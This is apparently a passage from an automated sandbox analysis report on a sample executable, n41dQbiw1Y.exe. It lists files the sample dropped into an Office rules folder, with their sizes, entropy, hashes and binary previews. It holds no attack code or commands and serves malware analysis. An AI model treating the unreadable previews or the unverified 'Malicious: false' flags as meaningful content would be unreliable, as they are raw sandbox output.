Preview:	.<?....s.....T.p.YB.w.KD...m..'...t.T...#..b...{...$.>)...4&..B.....I.d.w.Q.6.........A.d..i....EY.{.#..\..rF.....LX....../k..[9-\A.l.iK.B.......;.o}...b.y...'.p..{..n"..s.`.o..FB9=0...[.Ba;.C.8".CL?...._T.@...n.......)Y.Y.,J..4...v.v:...d2.=V]p...W[8_...m...f..G$X.+O.P~u.r......Sk$7..A..@.WnkOi.. ..&..v....J.{;)+l...A.....5eBYs~`#...6$\.g..4...^HoZ.........c....&.....C.\|... ..sz...\|.1w.0J..x..I..lP....1~.....M,M..\L.\|-.....v...i[............v.S`...=....nc)kw......~..8..]$Fo...2.T.. .APtB.~...r=..X.<..k..H.r.................W.k..[e4.....)9Q..[....?..J.`.q....!J...E.. VU.b.l.'...j...8x......m.....@....U.P.i...h..Ss.vj.:.4..F'"..%h...~h0.ti.F-y "....G....D.H ....QZ...m.....R.)..N.....P..^.ICQ.%.]...J.g.;..]..l..E..y0.r....Y@.5%iT.2..r.cG#.....ae..R...V&<.A.9o(.6Bc..9k....j.n.fkd..m ..K!. ....E.Q..UM[.......j.].=.^..q+e.O.:]..X.M.&.2...%.j...%...]RT..k+b@.g....YP.F.(.y...Hr.[O.".]]1......5.<.{.....(.=V..i(..g..HH.*m.m...).r.cI.=..m...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.862844000168194
Encrypted:	false
SSDEEP:	48:oN2DTpvkyYrmj8BmP4pmTlq6RWVw93xsrpy6XIYkjD:c2DTpkrmGpmZBh9h+u
MD5:	8F9F5BADEE32220F63E38CE3269ECF4E
SHA1:	F72220F00C1D22D70F8DF88E02892D646886ABD6
SHA-256:	DFBF0FD967F01800DB89C3A3FACB9723B482D98D7665E67F06866C3ED45EDEBB
SHA-512:	91957A5998349E77D4D7BDA4D3548F2B2D35358CE0A10D2BBD71EDE51F2EBE4EA78705787F7840341A46F3966770BE2E61B3F957AA97CAEDEA77114DD6FCBD91
Malicious:	false
Preview:	.<?Bi}..-:F...GZ.z.Ke..D..^...G.d...uQ8[...Zl...{..sw.3...W.'0K..$.X$..............5..x.=<.=lw...-I.qp..EE. ...J_x.(........#..s]E..b.........ua...{7..t.0.{.w1su.R.}.....{/.....Be.\|[.....w.l..'.wxg.@A..V.......w4..D..g..."..Z.ZGI7..Yv.\|@W..\s.U.Txx_..g......'XH.....Yo....w.!..qK`'.>...W..w. ...I..q\|.+?>..4.J...#.....47BS.........5'>../+.9II.k......w......cn..K'C-J.#.<.....u..a..?m..u.....'Fv...C.....:...]-...............Hv.....p..5.....R.B51...b.......^..PgU\..@..K.q.!0.}-[.....I>..4m>...p\|.w.h.#...U.l.><..B.L.....~(....ap%..W.,..2FU.ONK..=..$w...XMQE.Eb...pi#...{..9d...p.E.}.x....I..27.\)....].G.IIq....m.}..U....t....9i`.p.3.`.....W.5...T..D..3..L\|H.J...O.....q..t...X5)....-c.y.g..y........X.x..{.DE}...Y......w$...y.G.....EM.../. ..V....b.0.N...o.....c.n..nD.6L..U..pH.._d.S\n0.T.[..Gf...LmM,.....`x.....U.}...4..Sw`8$"y:.JqN}>..O.Vm^6'..e....<.3S.....o._...sb@.K....Ej..-0...<..G..L.m.7.b.f...;.P,....~5.S....D.I}.r../u-...KZlR9.s......G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.862165488977721
Encrypted:	false
SSDEEP:	24:pXvPgFpcrS28rTO6MgYNQZkXkMYerQnnPXF9blvMqw2bC7IdXG/PGoibD:REcwm61BeYerIPTBvMSC7AG/+3D
MD5:	1539292960584029F5F57FA5E69B1F90
SHA1:	E584AE92A4812F26BA71EF9325E496DD1DF6A33B
SHA-256:	B815142E263080D79A7AE4B9863B30597BD2690E9F72FEE0295EC05154AF1CC6
SHA-512:	ED0E9B4296EF2EFEBC96F47981829954165FBEDDCB70B9B63A8BEDFBA6CAF9668FBDDB7C624C37DE69C905E3BC5FF582378EC92915A5A91F76165C1310401721
Malicious:	false
Preview:	.<?..x..x.9.E.}&Cz.`b....".0.7k...../... ....4f......>q..D.1....K?.^..w...,\...W.R...B.-.pc.\|/..!.eu..}..........1.]..0.U.{}J....X4...<c.. ...+......~..kFj.(Y...QASm82.w.Qw..Y..".^r.......D.@..FBPar.....JL3..s.....pU;...M..Zd......._{2.5F.......q{..u...,......\|.J_}hiZ.'.....w.N.,.<.O..n._...;...}.......?.I]..u..s`8.wb.._4s.......^.MU.IwF.....%..t/9O..}....Tn..<C.#.5\|\o.+.^.3..U....D .u.`%e.~...xnS....vC.. ../M..C.....^..Q;/.Wh..H..U..m._F.O../.g.Gq.....9q..w.64...n....b.U.......mE.m/R.d...a........hY..m.."r.-.....rt.:._w,m.E53...d.K..s...M.~.hCd..6......). ..W~H...p.....1).Q..7.....M......4!0..c_..@V.......oq.....jG..eZ..........%A._T\...A...1....[3`}a\]..pK..l.......".N~@.E.4-..4{.......M.k..u.1.....D..S]#?V"z.w..HX...LK/.o1%...J...5K..2==....?.D.V.uZ.V^...!.._.[{..%EA`.b.>..U........r.J.F...m...U.f<8..:.s....2......5..98....6.9.F..>i....0V..c\j..N.i.vt...cB..{.[.....Q....L...5.+...x.87.k_..Gk..5r4.u.].......6.O..o.}L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.893043176307841
Encrypted:	false
SSDEEP:	48:2Y+KEyddFURgT1UtBi/kYLiW8KIabEwyWMnD:P+KEqH3/9eW85snMD
MD5:	14D9E78463AAC776D8A23608422B2755
SHA1:	937D4A8DC40D0321E3ABCA198268E2ED9D6A0F71
SHA-256:	E5FB7D7D32E533F18870AA801BABAF2A6B782245F74ABE408AD0C96C4CB3DFF8
SHA-512:	D70D6D722C43C9BA72BCA3BBBDD12EADC918094E9D492C42A3D6FE7C73694EE43EF8562CD3512356189966606954DDDBB90DF07A88C27FB4A47E33246705D5F2
Malicious:	false
Preview:	.<?..M.....r..D................(.Y....}.)J..L.O..@.J.h..Lt GJ...I.......k.I.=.......f.S....B(.x{@.F.t.2...........F\..:.......Oq...[6.z...r.k...6.w....v.NX4..Yn...M...<.X..:.;...>.w"..t..(b=...\|B....n.../.f%4.....]m...Z.&.y1 .O....Hs...^.....f...x....5.....{3...zK+.6.<....@...E(........=.j}..(x.X..<.\vA..J..WD..... .`..oP..8.F.R..H....4./5.4....U.... ...R....eQ......c.DW.vE25.Rn......$.>.@.k.sW.\i).......y..N........f.1.....>...rl.g..h.....8.Jl.P..W]..%..G.fY.E;..1@..[.u.$R.....<[4d.A.c}.......c...i...45.D?..1.@...Hm.RW...@....'j..t,..DK....TN.M.....lU#.FTIu.;u..'K.K...!.....p%4...A...o..)...e..z...Q.qe.;C]...n\|.F..1.c..".>0..,.y.....u...FZ+Q.X...bO3.N...U.,..%.T......f....8.....4.....XW.$..Y.....h>.J<..fl.\..Ow..f.0 ._......6.%.X....F..S..p.].H....Z7.k...Q...dx...r....3.<?....t.{...Q+^....e.=.3H...H.z.f...7.ei...i.a..K/....:U....P.=.`..K.._l...E...0...v.....z*;......m...A.0.!i.r.]]..j.."...W.+.....a.j..pz.U....J.N.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.881928239858701
Encrypted:	false
SSDEEP:	24:AuTC+DExcrs2iOdTmvvuDLqFGNRVRhJVU5DZy/QVOLDX+DG/cdwWRJWa9mUXc6Ok:/fR9iOhPLD7GgzCwiwiJBMpfcdlD
MD5:	AC45D176CEBA98368FEA0B706BC5A187
SHA1:	9A96504DFEBB371A3E8F34190F5FC4F78EAACCA7
SHA-256:	ECEF73DBA185AC180733CCEDD4EC43AB628A4B5BB721365D60EB0BC2EDE60BDE
SHA-512:	E3E0CB47F3F2D393C9A5E5FB56A52389C85BA4875FA235679E2A2DAA35E8CB4AEBFD00F3E5A4F6FE4B13581781F6211E4B2EDE641ACC4F754308B42C20C12F01
Malicious:	false
Preview:	.<?L:....`J..O..6.'....X0....&.6.>S..]..%o..\...-..K..!W.-....U8H&....1{R..6....:.OC>=+......$..&.....Q.......~r.,.........}5...M..qA...)6.A.$.f.m.L..0.7...[............C.t.......z/yJ%....a..2.....[....`.Q...6.1%...m..L........Ss.k.Y+.....a..E[....89y}J....0..%P...Z.0RP.....b.}..H..F"&E%..?.D.k...g........GvsHij..0.(..........y-{.i..D......W.(....Q.6'.0.B!.pk...i.6x:.Q.}....{.<9....t..(..b._gUtN&}.rr...;..?.....r...!..\.T..+NQ>M.9.....)T(N.&....._....(#.@..^.E.Y.y.(.[.y7\|Y..~..6..^.....~_...6T....+v.W..b.....Ku.T..OZ.BU....G...<..)k..Y.....Pwt...`....CW..cJ.7.\|..<d../.4....O.....$i.P_10.0.j5p...\......U......a....]j.R..>..A.}...c.=.*.V.;..T.\....mnRrD....\iI.......o....-...`i./.#..J./k ....6...Y~.h.qvE.....:......#.2.:..j...?RG~.y.o9K.%8.......[...!.......0.>...B.....,L.z..O..7F,1SJ'..T.jI..r.F.....I.T....E.2.>_. ...V...6.ul{....;..e0.....i.."..6@;.?.=a9...P.!c.b.N..H.I.:...GW...i..9e..........O...PH.a.p.t0..L..oVR<V"f.#.>]...6u.~....j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.897504308562835
Encrypted:	false
SSDEEP:	24:8U9HZgBU6LzFVR8cahD0EnAfbONEPRnbLqZcsLlDtjvVPktl4XSMTGNvWtWbD:82ZgBUYahD0EASeCGsLlDtLV6ESMEe2D
MD5:	0445518C9B752A62BB3AF3C19E97EEF0
SHA1:	C6DFA7C9AAB97CC31D01BD4BE9CCF85D4B9A5CF8
SHA-256:	37563821AE3C3499E5202DEC3A8A632F052259454CC57364229354E4179EB5F3
SHA-512:	5A495F68C19EB037A8D487A0B139176F65446AA0027F7DAE66B2E77B38640C24C7DF326AB2CC0FFC30E039CD34C7D82C58E5404BEBDFB9D3D9311BFE184FA269
Malicious:	false
Preview:	.<?SU]#w.t....1.....\|D.p..S.U.:V,...o.a.w8:v..AiF.....l..v.],.Q.`.9.<...<Bf...H........:oK.$>.....ve.o.J.>..........y..W/2T....Qs`-;.t......te%i......C.X.PP.z\|ip..A.5..O{kR...\.W.....M.~:.f...3`$+.`..5j.u.zyX..&j....[=.S.z.~.9.\.\|...#.P..1..Z..f),CQ...s.Xe..j........5=.G.xK._M...85.!.I.. .....=....QX.B..p......Q.7..C.....-.....:i..U..>.....}..,7`.,.w.pc...\|......T:.../.s?.Z....<V)...S..<.......,..&T...;..R..Y.......o.q..~u?..,...\|,...t~..J.M..ZlN?...~JI%...+..[..".....c....YM.he.....}...p.Xj...D.lv..q.$.v.....u.n1.....?E...U...}o....VA.h-r.Kr@.;....K.L...'.....!.........uN7..uz.G.hi.n..Y.'I4e...d.......z.r..+.M...}u.{h.D.H..!..$.y`........q..K..p.A..#..q..7......z{...M.............5..P...:I.G..f%z.....6.G.9.......x`...Bg.BF.......>......{.....Km....tT....&U.._%...S^...s..a..J.n..............;....c$.R......e.D..?................~...3.-H............P:...rN.u......u...)."0.k`.b...ve..k\|&.0Z..D.(......@z,>X.-...N..?U.h...T.... P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.878940011492811
Encrypted:	false
SSDEEP:	48:PX9A29X9GBN78RB8f8y00wTpumvvn/BJRqZD:PX939G3ARBO00wlff/j0
MD5:	C7E70918EDE721CF7AFF5E490B869269
SHA1:	9EEAAC8D394D77E9BD47C31F11C27A6481CE1667
SHA-256:	9988DCCB934215D1D362D06FDAF11ECBD85E2D8D316F2C62DB7067547832AA90
SHA-512:	E831B5989B60CC1F0B108919C382DD522AD868409FDA3195330027040BCAC2149A19C1FBC7A81CB7E6D3C5AA9E3FBB0508DA360DDF226C9C50D5FF1BC3F26C01
Malicious:	false
Preview:	.<?......o...R.91.....P..........G..&...KR.1J.(..z...._r...N.W.*.mB.B...i.'\|n..@1@s;...tF..2.h.3.........uF=c.....7........9.:"v.._q........6a.c.6.m.j.w..sm.8g...D.@.'.k6FsZ...5..C...6..F....5.-..o ..}...+...H:h..V......B....Z....(6..4t(8....X..,.w..!m.c.8.e...(.6t..p...V.\KM.....~\.ig....H;/\|.?.KMPk,...a.U..le..Q..H.~(5..~f =..r..).L......v:.hL~.=........_.... ..r.B.....v.Zc...#...K.........._c...........\. .^c.ZP>.5..BZ.1...."(..;...H.z....xx..n...'.Y..Zi..U......\X'.G."5.(.x.mM@T...{..H..O.....g.25.9U..D......<.o^......n...C.....Kc..g$.;..J....w......:.}tm......C........Q..&.P}........4m.....7-....I.u.@.@PX"7.R..(..Q.....uM.._.1.8$...XR.....Pg*.s.$K../4y..."\|K...4...+..b..1I.r.....w....3.f.....j....QXt...../..P..4....a..w...BoE....e.nG.0/...;.f..^..n..s......!.5+..5.7.. .......(.;.. ......f4"d(...2..G...&G..3_..W....f.......Q".D.....Q.....H........+.....-}.......H.3.TN....?..o.\.....=.......7)...=R..y....?....Q..J.9h...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.891944541783082
Encrypted:	false
SSDEEP:	24:tms5nwmVFFpNx0tztmyUrCW5xBN9BvoYvo4cTjIEYk3JS3bTh80lKzQ+VBVhHbD:ttTVut03Wy7FvoYvo4cTjaWUuxzdVBHD
MD5:	62B42DFDAE7BCD55E3684D730E0A2917
SHA1:	E9476E78C3B3DBF183A216961875B411E2710F68
SHA-256:	5D55E87061ADE7830DBB5E8E56B9671619B5CEF5CB6D9225381B846F9D38167E
SHA-512:	44C4D059C899DD00C126BBBE453759BC5AF29CB7E153B4D2687B41F771C4579500D17B3B41DEDAD6462B7BE5CA48F27523EE7E35467EB842EAAA1F2628DECB75
Malicious:	false
Preview:	.<?.......cI}A.,J.N.)l.i.....\..Z..y.uh.!D......-..{u..zcOXt.d.4..-..lL..P$.;.l..1.D#....X.._..Kr,..o.wuF.]k....&..E.H.V....ai.7.X..}.d....`..h.(. U..m..?.<..N....b!............E0.8:k.X..T&.}=....I.a.e.<...v/.p.f .....5IP..a\O.i.#..Ofw.....n.@..1..7.G.1..#bU.....pj..x..i...t.+.n.,c..r....B..7...w..i..D...... .....[.v_.<-.x..I..L+Il..v..[..u..4.!G.//.6t.....nr.._..F..Y..oC.@&...+.A.C.d..C...u....s6...ph..Y..n.....dJY'YE{.`..v..O.&}...1..F.n..a......6G5t}.Gi..P...V1F..POM....q...KVUa.p....rj.Y.x..6D.K[.g.......k/..5[...h=8>...js...X.q..&..V..s..?.._.7..9s'S.A..\|..7..a..2S..u.".L'...Q...f-Z.9...&Z...>1.?`,A$;Y.XO......j..$./....U2&.\.)G.M.../...R....C4,.A..%..i...I..g._.7b..u.......<......r\v............tR..o....q.i.p.I.....;h.Z?....hvP.C".W...8bT...T.3.@s4.M .3a...g..P.#...`....I.&+.{W..mj,Hj\<........x.D....S8..UW[,..3.K>..V...0v...j..gO.+h.L.Y....7YFq..M...#..%.&$3..e.jc l..t.._...J.6CX=\|.C..)`...DK)..........Z29....$.....M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.897057539767458
Encrypted:	false
SSDEEP:	48:Zr5PTPsJxjWKorkDcprQKeEORCCgmnprB/lyGTD:PPAXXDcdQ6m5Znpt/lyW
MD5:	BFE205342E6ED4CE8B0AB3096B8DE555
SHA1:	4DBE754F5D0A15ACB805E44009FDB6A2CF6DE239
SHA-256:	9142A78CBB8291F93DE4F4533FF40C1E4060DB97F9D2C21C496CF8122BAE5319
SHA-512:	9AC6BF2E285D3536E4228104D878F6FF7DB22DD123BEA8773B05A00026219F36E38146F2471DB394C98519C84FDE5472C0F910DD34996788D8DC670DA092BE34
Malicious:	false
Preview:	.<?....;.../>.\|........I....\N..Y.E..)2...r.'.a..Qz<=.%r.9...c...L..'..vC...#.....\|+........TW.o.Ti...B.S..~[..g./....A...,'..[.W.N.Rs,.....-}....k.....~".@g.....z.a#%M.....=.....&..K..........?..-...F....&.C.A....w.]..{mf/.\|....1.z..f.6..{.ScCw.. ......f..GX...kS.>......==......>.O7.s.]...tF....fp9..:.;"........).."l..3..QD......d....9......gs.N^u.....2..Z0....7..uG.V.....~W.[..b..&..4.6.b.......3.\k..,..C"...K;X.s6.o.\|V.2.....D...j...c.........B.M..0.......0.XtmD..c...0..d.v.".~..uF.c..~6.....M.Fi..h./..#3.w.G..~T..}t...p...d.b.&.u.%.....]J&..0..F......U..c...!.J.9(7....EK.au....?aYOf.........a...Se.B..o....t....s..$.q..YM..D..t..t.{.37.K....x....6(.L........`....c.J.2..8...~..pB...]....]..t.[....p{.##.v.}I.M..Og[Y..~.>h..oGP..u@.Re..G\|.q.Zx..-..z.......5.K.....a...;GQ.....c`4.W....-.:^.....U......c..,5{X.......<....W.=............A...j[.uH...9 ..L.G.C.y]n.(;.Y.F...i............A..,.>0cTO..SE..]d.q...t.......-c.n..p.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.86840347303528
Encrypted:	false
SSDEEP:	48:BbhbIaMokfVYimElkhuZGWqu9sNUnJv68bD:5VGVpKhuZGA+KJvB
MD5:	F4645888311A244C5A63A5937AFA292E
SHA1:	28C9FA7EA676CCCFC72244DCA0A104E57EABDA70
SHA-256:	602718FC86AAA970E7CDD6376321FE2FE3428BB1A3DF1CB133A274CED867F34A
SHA-512:	808FC2923F606EFF38046FF86E34D10405B35FD7F43480DD6BF08555385474A45B0FF406C2947B1F07FFD550F0787D157B6CD76C66F2B80C92118E5A8A223644
Malicious:	false
Preview:	.<?.r...V.[oR..v`>. .N..K.P....bP..h..vCN/.;..=..K....8.};4...PPP..f.k..../a..A.n....(4W ..i..t..../2.8.....~..>fL:...s[[.....@.+m/..a......k..S.l....za....f.S.~.9...Y\|7.G...*.Y...S/.Ri.OK#{.P!.ufT.;.u.]z...@Z...7x.....F..l.mx......h.......6a.....0C.A.na.uH...P../.H........RYk.~../.R...}..!..y....<.x.I...2.4..bu...X...v...7.a..[....M.vo2o3NX....f.\|.Pt...gL..P.QZ;-.......G........j..;.E:`.N9:....(...-0...t..`..y;I\|~....t\..$"...F.j8Ib.7v...............J.[8....R%...B.'.Q...\|.....O../.e...@.}....G..9..x...G..E.1...i...3.............`.X{...0...5...9.G.98r.........` .[..uR..+..n!.r..z..'.Qo....k.......U.n..D~;.....}.d-.....KfG.z...RK-.q..x.....y.MD.qx.C>d.I...... #C9..J0D`#..jb..KT.."[V.$.%.55..[..X.S.A.6.3M{B...l.2...X...5......0..."9..b...'..........~3F...z.8....\|dW..F..k./?....V.)M..d33..t...&..UKZ.}d.."i...D.f.1J\|;XA.\|L\|......J.o.......).....t...~.n........M8.... .(_`.W^....(o<&...3-Q>{}.S..l....,p.S..^.:.Z...M1{W"l.r.`.2.mT.5...Y..3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.885580424050164
Encrypted:	false
SSDEEP:	48:EuhV5/16XedKjjaxZiePYCUbfGP4FLseKD:EygX+K3EDUbfGQ1w
MD5:	8BF5E19BF2B1815D6B17152E09C09EFA
SHA1:	2FF05208075E30B8E575522BA0454D5CEB43C410
SHA-256:	DC8BB2293CCE2BD013E916E87F44422F88933AD6443CECA082977C70983A181D
SHA-512:	AFE7DF1FFFFB5C1FEFDF7E40C9A7E8009235F7DAB8802C619B62A6F626EF93797C51F7582D59A00016CB1578DA9D6F9E83BE775AA6906D10D01CD0AC4E66C1FD
Malicious:	false
Preview:	.<?.O)"..\$..N'.#..Oo.,8........h.L.....$.......l.:.i{.y-I4.\|..b...3.)..}<{....s...r{.....@..+......j\|U~S..8.=.<f..J.yz....E..[~...D.K...e...[=...[...5.gh+(8.8..~4..'.$...o.%H..5.T#..E..;....#.2.....;{.:.]..+d..W.......mm.s.a.s....P.W..[...v..........H..<.$.....8.J ..WrG......xNw.l..]..B..n#.9#9.g.....wY.T..a\.9OY`G$.\.;....0..M.......o...L...9,TuU2w=_..0J.....%..."5.........._.x....vh....Zf.H...&G.^S'..j..q)&n.t@`_m..:.;T.~.z.B...K.s...F.....0.R..S.I.w...s.h...4-.<.7r(."zH.]......)......s3.....s".../..N..h3-..u...............@.Y..%.X....c.....Tl...}\Fu..`...%........".\.E...z`?..d.,H.p..8S..;{SO...".}....Y@..;.1x..lS..Zn.z."A.x3>..P.Gv..8../....`.KvQs.g...vd...O..}..=/.\|)..q...x..MH.......k..h....3....A2.].".......<...#.t.S(.".k#.n.J....Bq.F$. .8}?.&..Y...8.i*4.u.."8.....{{.Dc...y.%.VL.@(....bT.8/......I..r Z....8q{5..W0.i.t.W.... .......9.1./...N..$.k.^....5P.k..5[%.T4.q.Z....%.R4..../.v%..../.z"uPub=N..iU=G.(...=iq..m.....1.Tw.D..j.-.4O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.889581424424602
Encrypted:	false
SSDEEP:	24:6PMPCXvBoAYjNqXLasIP49JI1NtgM42o3Q9/zZHAepPmUorz6igQXS46/FptBw75:8JoAp7aHAAbgp0J2U0zIQXT63buBnK2D
MD5:	21331E3C8C992AEF32D09FEB9AE20FF0
SHA1:	3FE8D0566D18DF99B3DC151C10A6062166B9421B
SHA-256:	FDC9EB3D16FDA6C38B41415DA0ABE2D141FD7CE832F621C732E76A148A635EFA
SHA-512:	B9F31428E925A22D51E88F141964BA210D7F9DC819B3C9B99C093D345BD7BB6C99467140016B0E136D7FA310A87484D3C34B174A7ED6304CF4E4C7C230C3471D
Malicious:	false
Preview:	.<?./.hYl.M.RXL....<8.8u.R..D.....3N...".p.....E..RH).T.b.f.....t.mw{......Zf.....w......@d....q.W..2[ .h...#.@.$..g......qp(...F?.<..P.Y.m..<g./s{..m.C.e\|k>0....9.[..O..%.4..3..HF..vtI).p.......M_Fj@Z1.....s..6...8.~.}G...x..2.'..+.Su...HV......a.....+.x\|...K.].]\..a./...h[....]]./.8..X%s..v.u._..........E)o....u!s.......f...@..`.......F..@.93d\|H...+"a4<.z.\:.J`......X.l.....u......7.A[.~..Q..W.H..O.m.'...M.{x.t.....J..Pi'..^.../..`3d.d..$+..W...s........K...v.p.g.yZ...#x.S....#X......^R..yodp...E.R.nw(.:.s..M....:..e+i.`.yz....6C3?.U.4^......0.@...l..\|F...W;.{.5..4sa\|{R.1.Q.A...9}.../...}"...&...<.u...8..i./s.2.....U.._f..N.\....:..=......9.^.K./..$.H...G.5.8@..w...a..d...Ar..L......`#_..90.r.F.....]......@lp..m......A...P..Q..3.J...{+V..A`.I...f. ....$....R\.D..$...D[..j......g.....-.E.+...t....0......0..'....o>B.A.'.a.K..r.-..9..;9...~..S....].. .......V..^...'..<...> .{.....\O...\|..w.3.a><...*.(.E....t:.f}......w......#.e.....Q4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.875812910470226
Encrypted:	false
SSDEEP:	48:uLN2vz1nKBVhRuhQ4n9b6x8AWQPppCq6kbKvZhzCLtD:uLupK9RT4n9b6J9pN6kbKjz6
MD5:	41B2ACF1B3535AF55943D353ED4071BF
SHA1:	9A9F9C9B211B11F3E8FC04AFC2452697354ED918
SHA-256:	8CF7B37B77DC904EEA9085F96E88D6A1D9FB89879091F050BC46FD0758E674D8
SHA-512:	CF4895D61F98DB26BD577F249053689E6E1588D453F43B1F02D62EC196276A68024334F4D4C8B72FF0BCD3BE1951CA467D58E8BB4415CA5B82483FF2BF23F14A
Malicious:	false
Preview:	.<?n.>P.....wY[....9..Vbh......'.R....\|x(.F9V:.y\|.....m....r..4D"...r.)....vz..c..Q.}J.....`.f$B....4s......).@..\...]._5=.AF.<A..T'x......RqW.....\...TW-...W5.;K......[ED{..).$.zy...q.<.+..i)......{.^1..C._..c..x.(..Z.........F.~\|......=.%..r{.)w.....ve.X..K..L\|H..$.4..t$PV....;+...R~%)...C...WS.\|m.M.....2;7.6R%..q...... if...zFr...$.V.&...Q...../....e.......q.{..3.C...1..7.B.".$....C...t._...W.._y`..'.9b'._..)Wnx.7Dt.`.y..Qw.825.$.>.ko(B^.>....gd...m.>../Rk.b.........k4U...`9..'].[6.u.....F.%.........I>.W.l.+..Pa......=.SC.....n..Gw[R.U.,....@....._.s.....i......6.E..%]...g3....B4=Hn..=..[.RtS...7...?."!..l..[.;..r,..i,3...).....@z.3.w.z._.!;....p......m..:..3....!...Z.2U/X..k.....n.9..ZT.C.j..@...{.m..\|.........R....!&.D.AK..AeVE.m.{....E....e..X.z..J.e....P.0S.@.?..-....?.JV.$.d9.. ........Sl..kO!?IL..:.\m.3..=....m~....'..+.\..]...0.".0....&./...:.s...."CS...u.._T.Ln.z.r..^\|.X<z..._....7./.Cp.`.....@.32.2#D....z..^.o..Y\.V.....;.A..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.881474214302508
Encrypted:	false
SSDEEP:	48:jhBNs/8TErgN5VQIyZ6aoyF1haxG4c/xJYOo5ABIz4D:j6/8T77+dzh1MEVINzk
MD5:	018240FB980D49B794BDD50A8D30E3D9
SHA1:	945D9F491428B2D9A85A0D249647AB0DCA3481DC
SHA-256:	B6892521710FB82BA7925C6159B98B10815555170941826E74FF9822A8ADD53E
SHA-512:	7E12A6D0693284AE15ABB7E40F2942EDE8F00ADF43BCC7B5121F46BEB146F0FCFF7501E05836A014D07B599D57508D378F83C2514B223A040F0302194A8275C2
Malicious:	false
Preview:	.<?.&q....\._....e....-Q'xIH.9.q...0jP[.cXxY....h.~.....U...fD....{...F...x..j..-j.u.C...>...j.f....Q.8.....l.W......~&..`F!I{N<v.7..$...N{.....V.>....?'.Wv..}.^]v..j6..,...>.&..N8C.5......?.A...r...\|.L.k.....@..Q..&....EkEG....'..<.Kx_.0..a..F...R.J...48..R.._.g..G...8..A....x..\...~..>3.>.V+oG........../...9!...T..#L.o.B........j.......S:!.M.1<....d.".Y ~.)...iX@.F....L;b:.f...Yc.l.#.....vY.....H."..c.....#;.k .v.yc.B...u...m=.z......q~.lS.-E..c....p8.>....I.#u....U..4........R....uF,.\\|w....o...2y..?y.<"P....0.R...{..6.X.D..n.c.7.S..6....7E.2.rc.......Z..E....C...a..R.......W..H.;.n`....]i... R..9.bOY8x.e{...c..+....1j...8#(m.oF..E.+.....^.@r.]....J...?=A.[<.....2.aXi..:(W....aE....~..sX4)4...O.1.]T'B..bj.y.]c....^.."0.c.L.....s-..D.....l...[...{.C:,.H#..b......$.T..a..nA.m..V^%a#...kH}.O...prKM.\|j..F.W{.Nn..........79).<FT..G. .7h*S..1..9..D...>9..... .h.!..s...m...P..R..G.B...#....M......./.\..st...V...V...._..q.<.)..B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.890264180825567
Encrypted:	false
SSDEEP:	48:u85/onanLvzd/ChdMiXeF25dqbfuTmc2CD:u85gnIDx/ChddOF25sbq8K
MD5:	71D8AB1D4B55F7F0DD1FC37E0F07A839
SHA1:	9F53C9F1A19D3931363E444FEB9EF6ACB04A270C
SHA-256:	4B6CFA5DCEF31D9668E743F289F2E1724E631C1064716719908C9CDD3CCABD5B
SHA-512:	4BA5035418ABD2F535B7044222BE75370060551393F345C4DA558EDA508D380CFC55CFB37E0F7279EF36E561EC8AD608F7FE52B4452B5C3B95F3288890407F06
Malicious:	false
